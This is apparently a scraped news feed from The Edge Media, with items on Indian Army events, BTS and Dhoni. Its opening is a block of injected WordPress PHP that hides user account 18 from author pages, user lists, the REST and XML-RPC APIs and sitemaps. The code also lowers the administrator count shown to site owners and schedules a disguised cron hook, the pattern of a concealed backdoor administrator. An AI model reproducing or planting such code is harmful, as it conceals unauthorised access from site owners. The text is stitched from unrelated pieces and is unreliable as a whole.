add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Indian Army’ Helicopter Crashed In Baraum Region of Jammu & Kashmir appeared first on The Edge Media.
]]>According to an official, the helicopter was ready to land but “drifted away” due to weather circumstances. The accident occurred at Gujran Nallah in the Bandipora area of north Kashmir’s Gurez Sector.
The post Indian Army’ Helicopter Crashed In Baraum Region of Jammu & Kashmir appeared first on The Edge Media.
]]>The post Experts are flown in to assist in the rescue of an Army chopper that has crashed. appeared first on The Edge Media.
]]>According to the Army, the operation is still difficult due to near-zero visibility below 50 meters due to the colloidal nature of water this time of year, which affects the accuracy of sonars and other sensors.
Since the chopper went down, two Army Aviation Corps pilots have been missing. Defense spokesperson Lt Col Devender Anand said that expertise and equipment from the army, navy, and Indian Air Force, as well as other agencies and private firms from across the country, had been put to use.
The post Experts are flown in to assist in the rescue of an Army chopper that has crashed. appeared first on The Edge Media.
]]>The post 2 Soldiers killed in Ambush along India-Bangladesh border in Tripura. appeared first on The Edge Media.
]]>The border guarding force said the ambush took place around 6.30 AM in the Dhalai district of the state and those killed included a Sub-Inspector of the force.
The ambush and retaliation by the troops took place near the R C Nath Border post that is under the Chawmanu police station area of the district in the Panisagar sector.
Dhalai district is about 94 Km from state capital Agartala and it borders Bangladesh on the northern and southern sides.
The post 2 Soldiers killed in Ambush along India-Bangladesh border in Tripura. appeared first on The Edge Media.
]]>The post RM, BTS leader expresses desire to visit India soon. appeared first on The Edge Media.
]]>
BTS’ RM expresses gratitude to Indian Fans for contributing money for COVID -19 disaster aid.
During an interview , BTS was enlightened about the good deed. In response of the same, RM said “Thankyou for the beautiful ARMY’s in India. We miss you and we hope that we could be there in front of you as soon as possible. Let us stay strong in these challenging times. Our prayers go to everyone currently fighting against Covid – 19 and we hope to see you soon and safe.”
BTS is yet to visit India. Last year the group stated that once the pandemic is over, they would love to travel to India. RM had assured the fans once again that BTS will visit India as soon as possible.
The post RM, BTS leader expresses desire to visit India soon. appeared first on The Edge Media.
]]>The post Army chief Narwane met PM Modi appeared first on The Edge Media.
]]>Everyday the number of corona patients is reaching beyond three and a half lakhs. The contribution of the Indian Army and the Armed Forces is also proving to be important in dealing with the Corona epidemic.
Prime Minister Narendra Modi is constantly meeting with the Chiefs of the Army and the Armed Forces, in this episode, on Thursday, Prime Minister Narendra Modi met Army Chief Manoj Narwane and discussed in detail the help and preparedness being provided by the Army against the epidemic.
General MM Narwane told the Prime Minister that Army medical staff are serving in different states. Also, temporary military hospitals have been opened in the states.
Army medical staff working in hospitals The army chief also informed PM Modi about the help provided by the army in the management of oxygen tankers and vehicles. Let me tell you that in the past, CDS General Bipin Rawat and PM Modi reviewed the preparations and operations being done by the armed forces to deal with the corona epidemic.
After meeting the PM, Bipin Rawat had told that all the medical staff retired in the last two years will serve in the Corona centers near their homes. Also, all medical officers posted in the same headquarters of the Navy and Air Force will be posted in the nearby hospitals.
Significantly, on Thursday, there have been recorded cases of corona virus infection in the country so far. 3,79,257 new cases have been reported. With this, the total infection cases in the country have increased to 1,83,76,524. While the death figures are also blown up.
The post Army chief Narwane met PM Modi appeared first on The Edge Media.
]]>The post One lakh soldiers to be reduced from Indian Army, officials gave information to parliamentary committee appeared first on The Edge Media.
]]>The post One lakh soldiers to be reduced from Indian Army, officials gave information to parliamentary committee appeared first on The Edge Media.
]]>The post Shiv Sena’s allegation – killing of soldiers in Pulwama was a political conspiracy hatched in the country appeared first on The Edge Media.
]]>He further wrote that the Bharatiya Janata Party has now become a subject of humor and satire. Every day they keep experimenting to entertain the public by creating new pretenses, but their fancier experiments are not liked by the public. The ‘Tandava’ web series is currently released. It is said that this series is based on the reality of current politics. Politics of Delhi, political pulls in universities, some such topics are shown in it.
Meanwhile, in this series, the Bharatiya Janata Party created a ruckus about having some objectionable dialogues in the context of Hindu deities. In the dialogues of Lord Shankar and Narada, BJP started the ‘Tandava’ by mentioning Shri Ram in a satirical way. The Shiv Sena has never tolerated any derogatory dialogues in the context of Hindu deities.As much as Goswami has insulted the Hindustani soldiers and their martyrdom, even the Pakistanis would not have insulted them. Senior Congress leader and former Defense Minister AK Antony, along with Sushilkumar Shinde, Salman Khurshid and Ghulamby Azad, have also demanded an inquiry into the entire matter in the Journalist Council and take action under the ‘Government Secrecy Act’.
Describing the whole issue as treason, Congress leaders have also indicated to raise this issue in the Parliament session. The truth in this case should be brought out by the government.
The post Shiv Sena’s allegation – killing of soldiers in Pulwama was a political conspiracy hatched in the country appeared first on The Edge Media.
]]>The post Dhoni Will Be Spending More Time With The Army appeared first on The Edge Media.
]]>Pandey saw the retirement announcement coming after this year’s T20 World Cup, which was postponed to 2022 last month, but only Dhoni knew that it would come on Independence Day. “I was aware that he would do it soon but did not know the exact timing. Anyway it was for him to decide. He had started IPL preparations but it was postponed and then the T20 World Cup was postponed, he thought to be mentally free,” Pandey told PTI day after Dhoni’s unexpected announcement on Saturday. “And since August 15 is a special day for the Army, he must have thought on those lines. The T20 World Cup postponement was surely a factor as he planned for it,” he said.
Dhoni holds the honorary rank of Lieutenant Colonel in the Territorial Army. Following the 2019 World Cup semifinal loss, he trained with the Parachute Regiment for more than a month. “One thing is for sure, he will be spending more time with the Army. He will also give time to his commercial ventures and other commitments. We will sit down soon and decide the way forward.”
In most cases, the brand value of an athlete goes down after retirement but Pandey insists it won’t happen to Dhoni. “Since the World Cup (in July 2019), we have signed up with 10 new brands and it is a long-term thing. It will keep on increasing as Dhoni is not just about cricket, he is a youth icon.
“In most cases retirement does have an impact but not when it comes to Dhoni. His achievements are not individual, his achievements are for the team and for the coutnry,” said Pandey. Pandey added that Dhoni will play the IPL for another two or three seasons. “He will play for at least couple of years, if not more. He will be more mentally free now that he is retired. The T20 World Cup postponement was definitely a factor in his retirement.”
The mega event, which was to take place in Australia in October-November, was moved to 2022 due to the COVID-19 pandemic. India have the hosting rights for the 2021 edition.
– PTI
The post Dhoni Will Be Spending More Time With The Army appeared first on The Edge Media.
]]>